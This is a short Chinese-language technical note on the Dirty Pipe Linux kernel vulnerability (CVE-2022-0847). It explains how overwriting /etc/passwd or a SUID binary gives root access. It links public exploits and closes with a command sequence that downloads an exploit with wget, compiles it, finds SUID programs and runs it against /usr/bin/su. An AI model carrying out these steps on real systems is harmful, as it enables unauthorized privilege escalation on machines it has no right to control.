CVE-2022-0847 于 2022-03-07 公开披露,发现者 Max Kellermann 研究员将该漏洞命名为 Dirty Pipe(脏管道)。由作者原文 [1]:可得知该漏洞影响范围:5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102。它允许覆盖任意只读文件中的数据,因此重写覆盖 /etc/passwd
文件内容可实现提权。
/etc/passwd
这个文件保存了 Linux 上的所有用户信息,其各个字段的顺序和含义如下图:
用户登录口令对应其中的 x
标志,如果删除了 root
用户后面的 x
标志,这就意味着为 root
用户设置了一个空密码,所以可以使用 su root
来提升权限而无需凭据。
exp https://github.com/imfiver/CVE-2022-0847 就是将 root 用户密码置空
其核心代码来自 Max Kellermann 公开的概念验证代码。编译后,将原 /etc/passwd
备份一次,运行 exp 覆盖 /etc/passwd
文件
另一个 Github 高赞 exp: https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit,也是利用此类方式提权。
还有一种改进的利用方式(推荐):https://haxx.in/files/dirtypipez.c 覆盖 SUID 程序提权 [2]
wget https://haxx.in/files/dirtypipez.c
gcc -o dirtypipez dirtypipez.c
find / -perm -u=s -type f 2>/dev/null # 查找 SUID 程序
./dirtypipez /usr/bin/su